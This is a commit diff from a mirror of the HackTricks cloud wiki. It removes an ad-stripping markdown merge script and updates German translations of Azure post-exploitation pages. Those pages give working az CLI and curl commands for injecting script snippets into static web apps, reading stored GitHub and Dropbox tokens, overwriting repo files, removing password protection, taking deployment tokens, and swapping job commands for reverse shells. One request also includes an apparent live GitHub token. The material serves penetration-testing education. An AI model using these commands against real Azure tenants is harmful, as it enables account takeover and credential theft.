mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -1,145 +0,0 @@
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"# {file_name}\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
def main():
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"STM Cyber", # STM Cyber ads
|
||||
"offer several valuable cybersecurity services", # STM Cyber ads
|
||||
"and hack the unhackable", # STM Cyber ads
|
||||
"blog.stmcyber.com", # STM Cyber ads
|
||||
|
||||
"RootedCON", # RootedCON ads
|
||||
"rootedcon.com", # RootedCON ads
|
||||
"the mission of promoting technical knowledge", # RootedCON ads
|
||||
|
||||
"Intigriti", # Intigriti ads
|
||||
"intigriti.com", # Intigriti ads
|
||||
|
||||
"Trickest", # Trickest ads
|
||||
"trickest.com", # Trickest ads,
|
||||
"Get Access Today:",
|
||||
|
||||
"HACKENPROOF", # Hackenproof ads
|
||||
"hackenproof.com", # Hackenproof ads
|
||||
"HackenProof", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
"Hacking Insights:", # Hackenproof ads
|
||||
"Engage with content that delves", # Hackenproof ads
|
||||
"Real-Time Hack News:", # Hackenproof ads
|
||||
"Keep up-to-date with fast-paced", # Hackenproof ads
|
||||
"Latest Announcements:", # Hackenproof ads
|
||||
"Stay informed with the newest bug", # Hackenproof ads
|
||||
"start collaborating with top hackers today!", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
|
||||
"Pentest-Tools", # Pentest-Tools.com ads
|
||||
"pentest-tools.com", # Pentest-Tools.com ads
|
||||
"perspective on your web apps, network, and", # Pentest-Tools.com ads
|
||||
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
|
||||
|
||||
"SerpApi", # SerpApi ads
|
||||
"serpapi.com", # SerpApi ads
|
||||
"offers fast and easy real-time", # SerpApi ads
|
||||
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
|
||||
|
||||
"8kSec", # 8kSec ads
|
||||
"academy.8ksec.io", # 8kSec ads
|
||||
"Learn the technologies and skills required", # 8kSec ads
|
||||
|
||||
"WebSec", # WebSec ads
|
||||
"websec.nl", # WebSec ads
|
||||
"which means they do it all; Pentesting", # WebSec ads
|
||||
]
|
||||
|
||||
# Clean and merge .md files
|
||||
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
|
||||
|
||||
# Print the path to the output file
|
||||
print(f"Merged content has been saved to: {output_file}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Execute this from the hacktricks folder to clean
|
||||
# It will clean all the .md files and compile them into 1 in a proper order
|
||||
main()
|
||||
@@ -64,19 +64,19 @@ az keyvault secret set --vault-name <vault name> --name <secret name> --value <s
|
||||
```
|
||||
### **Microsoft.KeyVault/vaults/certificates/delete**
|
||||
|
||||
Diese Berechtigung ermöglicht es einem Principal, ein Zertifikat aus dem Tresor zu löschen. Das Zertifikat wird in den Zustand "Soft-Delete" verschoben, wo es wiederhergestellt werden kann, es sei denn, es wird gelöscht.
|
||||
Diese Berechtigung ermöglicht es einem Principal, ein Zertifikat aus dem Tresor zu löschen. Das Zertifikat wird in den Zustand "Soft-Delete" versetzt, wo es wiederhergestellt werden kann, es sei denn, es wird gelöscht.
|
||||
```bash
|
||||
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
### **Microsoft.KeyVault/vaults/keys/delete**
|
||||
|
||||
Diese Berechtigung ermöglicht es einem Principal, einen Schlüssel aus dem Tresor zu löschen. Der Schlüssel wird in den Zustand "Soft-Delete" verschoben, wo er wiederhergestellt werden kann, es sei denn, er wird gelöscht.
|
||||
Diese Berechtigung ermöglicht es einem Principal, einen Schlüssel aus dem Tresor zu löschen. Der Schlüssel wird in den Zustand "Soft-Delete" verschoben, wo er wiederhergestellt werden kann, es sei denn, er wird endgültig gelöscht.
|
||||
```bash
|
||||
az keyvault key delete --vault-name <vault name> --name <key name>
|
||||
```
|
||||
### **Microsoft.KeyVault/vaults/secrets/delete**
|
||||
|
||||
Diese Berechtigung ermöglicht es einem Principal, ein Geheimnis aus dem Tresor zu löschen. Das Geheimnis wird in den Zustand "Soft-Delete" verschoben, wo es wiederhergestellt werden kann, es sei denn, es wird gelöscht.
|
||||
Diese Berechtigung ermöglicht es einem Principal, ein Geheimnis aus dem Tresor zu löschen. Das Geheimnis wird in den Zustand "Soft-Delete" versetzt, wo es wiederhergestellt werden kann, es sei denn, es wird gelöscht.
|
||||
```bash
|
||||
az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
Diese Berechtigung ermöglicht es einem Principal, ein Geheimnis aus einem Backup wiederherzustellen.
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
### Microsoft.KeyVault/vaults/keys/recover/action
|
||||
Ermöglicht die Wiederherstellung eines zuvor gelöschten Schlüssels aus einem Azure Key Vault
|
||||
```bash
|
||||
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,7 +14,7 @@ Für weitere Informationen siehe:
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Diese Berechtigungen erlauben es dem Benutzer, **einen Befehl** in einem laufenden Container **auszuführen**. Dies kann verwendet werden, um **Berechtigungen zu eskalieren** im Container, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
|
||||
Diese Berechtigungen erlauben es dem Benutzer, **einen Befehl** in einem laufenden Container **auszuführen**. Dies kann verwendet werden, um **Berechtigungen** im Container zu **eskalieren**, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
|
||||
|
||||
Um eine Shell zu erhalten, ist es so einfach wie:
|
||||
```bash
|
||||
@@ -49,7 +49,7 @@ az rest \
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine Containergruppe zu erstellen oder zu aktualisieren**, die mit einer **benutzerverwalteten Identität** verknüpft ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
Diese Berechtigungen ermöglichen es, **eine Containergruppe zu erstellen oder zu aktualisieren**, die mit einer **benutzerverwalteten Identität** verbunden ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group> \
|
||||
@@ -82,15 +82,15 @@ az containerapp secret show --name <app-name> --resource-group <res-group> --sec
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine benutzerdefinierte verwaltete Identität** an eine Container-App anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. Das Ausführen dieser Aktion über die az cli erfordert ebenfalls die Berechtigung `Microsoft.App/containerApps/listSecrets/action`.
|
||||
Diese Berechtigungen ermöglichen es, **eine benutzerverwaltete Identität** an eine Containeranwendung anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. Das Ausführen dieser Aktion über die az cli erfordert ebenfalls die Berechtigung `Microsoft.App/containerApps/listSecrets/action`.
|
||||
|
||||
Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:
|
||||
Um eine benutzerverwaltete Identität an eine Containergruppe anzuhängen:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **einen Anwendungscontainer zu erstellen oder zu aktualisieren**, dem eine **benutzerverwaltete Identität** zugeordnet ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
Diese Berechtigungen ermöglichen es, **einen Anwendungscontainer zu erstellen oder zu aktualisieren**, der mit einer **benutzerverwalteten Identität** verbunden ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
```bash
|
||||
# Get environments
|
||||
az containerapp env list --resource-group Resource_Group_1
|
||||
@@ -112,7 +112,7 @@ az containerapp create \
|
||||
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
|
||||
|
||||
Obwohl Jobs nicht so lange laufen wie Container-Apps, können Sie die Möglichkeit ausnutzen, die Befehlskonfiguration des Jobs beim Starten einer Ausführung zu überschreiben. Durch das Erstellen einer benutzerdefinierten Jobvorlage (zum Beispiel, indem Sie den Standardbefehl durch eine Reverse-Shell ersetzen) können Sie Shell-Zugriff innerhalb des Containers erhalten, der den Job ausführt.
|
||||
Obwohl Jobs nicht so langlaufend sind wie Container-Apps, können Sie die Möglichkeit ausnutzen, die Befehlskonfiguration des Jobs beim Starten einer Ausführung zu überschreiben. Durch das Erstellen einer benutzerdefinierten Jobvorlage (zum Beispiel, indem Sie den Standardbefehl durch eine Reverse-Shell ersetzen) können Sie Shell-Zugriff innerhalb des Containers erhalten, der den Job ausführt.
|
||||
```bash
|
||||
# Retrieve the current job configuration and save its template:
|
||||
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
|
||||
@@ -150,7 +150,7 @@ az containerapp job update \
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Wenn Sie einen neuen Container Apps Job erstellen (oder einen bestehenden aktualisieren) und eine verwaltete Identität anhängen können, können Sie den Job so gestalten, dass er eine Nutzlast ausführt, die die Berechtigungen erhöht. Zum Beispiel könnten Sie einen neuen Job erstellen, der nicht nur eine Reverse-Shell ausführt, sondern auch die Anmeldeinformationen der verwalteten Identität verwendet, um Tokens anzufordern oder auf andere Ressourcen zuzugreifen.
|
||||
Wenn Sie einen neuen Container Apps Job erstellen (oder einen bestehenden aktualisieren) und eine verwaltete Identität anhängen können, können Sie den Job so gestalten, dass er eine Nutzlast ausführt, die Privilegien eskaliert. Zum Beispiel könnten Sie einen neuen Job erstellen, der nicht nur eine Reverse-Shell ausführt, sondern auch die Anmeldeinformationen der verwalteten Identität verwendet, um Tokens anzufordern oder auf andere Ressourcen zuzugreifen.
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
@@ -169,9 +169,14 @@ az containerapp job create \
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
Es sieht so aus, als ob es mit diesen Berechtigungen möglich sein sollte, einen Job zu starten. Dies könnte verwendet werden, um einen Job mit einer Reverse-Shell oder einem anderen bösartigen Befehl zu starten, ohne die Konfiguration des Jobs ändern zu müssen.
|
||||
Es sieht so aus, als ob man mit diesen Berechtigungen einen Job starten sollte. Dies könnte verwendet werden, um einen Job mit einer Reverse-Shell oder einem anderen bösartigen Befehl zu starten, ohne die Konfiguration des Jobs ändern zu müssen.
|
||||
|
||||
Ich habe es nicht geschafft, es zum Laufen zu bringen, aber laut den erlaubten Parametern sollte es möglich sein.
|
||||
|
||||
### Microsoft.ContainerInstance/containerGroups/restart/action
|
||||
|
||||
Erlaubt das Neustarten einer bestimmten Containergruppe innerhalb von Azure Container Instances.
|
||||
```bash
|
||||
az container restart --resource-group <resource-group> --name <container-instances>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
# Az - Statische Webanwendungen Post-Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
## Azure Statische Webanwendungen
|
||||
|
||||
For more information about this service check:
|
||||
Für weitere Informationen zu diesem Dienst siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,164 +12,153 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
|
||||
|
||||
The fllowing command create an snippet that will always be loaded by the web app::
|
||||
Es ist möglich, eine statische Webseite zu erstellen, die beliebigen HTML-Code lädt, indem man einen Snippet erstellt. Dies könnte es einem Angreifer ermöglichen, JS-Code in die Webanwendung einzufügen und sensible Informationen wie Anmeldeinformationen oder mnemonische Schlüssel (in Web3-Wallets) zu stehlen.
|
||||
|
||||
Der folgende Befehl erstellt einen Snippet, der immer von der Webanwendung geladen wird::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Gelesene konfigurierte Drittanbieter-Anmeldeinformationen
|
||||
|
||||
### Read Configured Third Party Credentials
|
||||
|
||||
As explained in the App Service section:
|
||||
Wie im Abschnitt App Service erklärt:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
||||
|
||||
Durch Ausführen des folgenden Befehls ist es möglich, die **Drittanbieter-Anmeldeinformationen** zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
|
||||
|
||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
||||
|
||||
Here you have some command examples to check the tokens:
|
||||
|
||||
Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Datei überschreiben - Routen, HTML, JS überschreiben...
|
||||
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
Es ist möglich, eine **Datei im Github-Repo** der App über Azure zu **überschreiben**, indem man das **Github-Token** verwendet und eine Anfrage wie die folgende sendet, die den Pfad der zu überschreibenden Datei, den Inhalt der Datei und die Commit-Nachricht angibt.
|
||||
|
||||
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
|
||||
|
||||
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
|
||||
Dies kann von Angreifern missbraucht werden, um im Grunde **den Inhalt der Web-App zu ändern**, um bösartige Inhalte bereitzustellen (Anmeldeinformationen, mnemonische Schlüssel stehlen...) oder einfach um **bestimmte Pfade** auf ihre eigenen Server umzuleiten, indem sie die Datei `staticwebapp.config.json` überschreiben.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
|
||||
|
||||
> Beachten Sie, dass ein Angreifer, wenn er es schafft, das Github-Repo auf irgendeine Weise zu kompromittieren, die Datei auch direkt von Github überschreiben kann.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, das **Passwort** zu ändern, das eine statische Webanwendung schützt, oder sogar jede Umgebung zu entprotecten, indem man eine Anfrage wie die folgende sendet:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
This permission allows to get the **API key deployment token** for the static app:
|
||||
|
||||
Diese Berechtigung ermöglicht es, den **API-Schlüssel-Bereitstellungstoken** für die statische App zu erhalten:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Dann könnten Sie den folgenden Befehl ausführen, um **eine App mit dem Token zu aktualisieren**. Beachten Sie, dass dieser Befehl extrahiert wurde, um **zu überprüfen, wie Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funktioniert**, da es der ist, den Azure standardmäßig verwendet. Daher könnten sich das Bild und die Parameter in Zukunft ändern.
|
||||
|
||||
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
|
||||
|
||||
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
|
||||
2. Change the code you want to deploy
|
||||
3. Deploy it running (Remember to change the `<api-token>`):
|
||||
> [!TIP]
|
||||
> Um die App bereitzustellen, könnten Sie das **`swa`**-Tool von [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) verwenden oder die folgenden Schritte ausführen:
|
||||
|
||||
1. Laden Sie das Repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) herunter (oder ein anderes Repo, das Sie bereitstellen möchten) und führen Sie `cd react-basic` aus.
|
||||
2. Ändern Sie den Code, den Sie bereitstellen möchten.
|
||||
3. Stellen Sie es bereit, indem Sie (denken Sie daran, `<api-token>` zu ändern):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
|
||||
>[!WARNING]
|
||||
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
|
||||
> [!WARNING]
|
||||
> Selbst wenn Sie das Token haben, können Sie die App nicht bereitstellen, wenn die **Deployment Authorization Policy** auf **Github** eingestellt ist. Um das Token zu verwenden, benötigen Sie die Berechtigung `Microsoft.Web/staticSites/write`, um die Bereitstellungsmethode auf das API-Token zu ändern.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
|
||||
Mit dieser Berechtigung ist es möglich, **die Quelle der statischen Web-App auf ein anderes Github-Repository zu ändern**, jedoch wird es nicht automatisch bereitgestellt, da dies über eine Github Action erfolgen muss.
|
||||
|
||||
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
|
||||
|
||||
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
|
||||
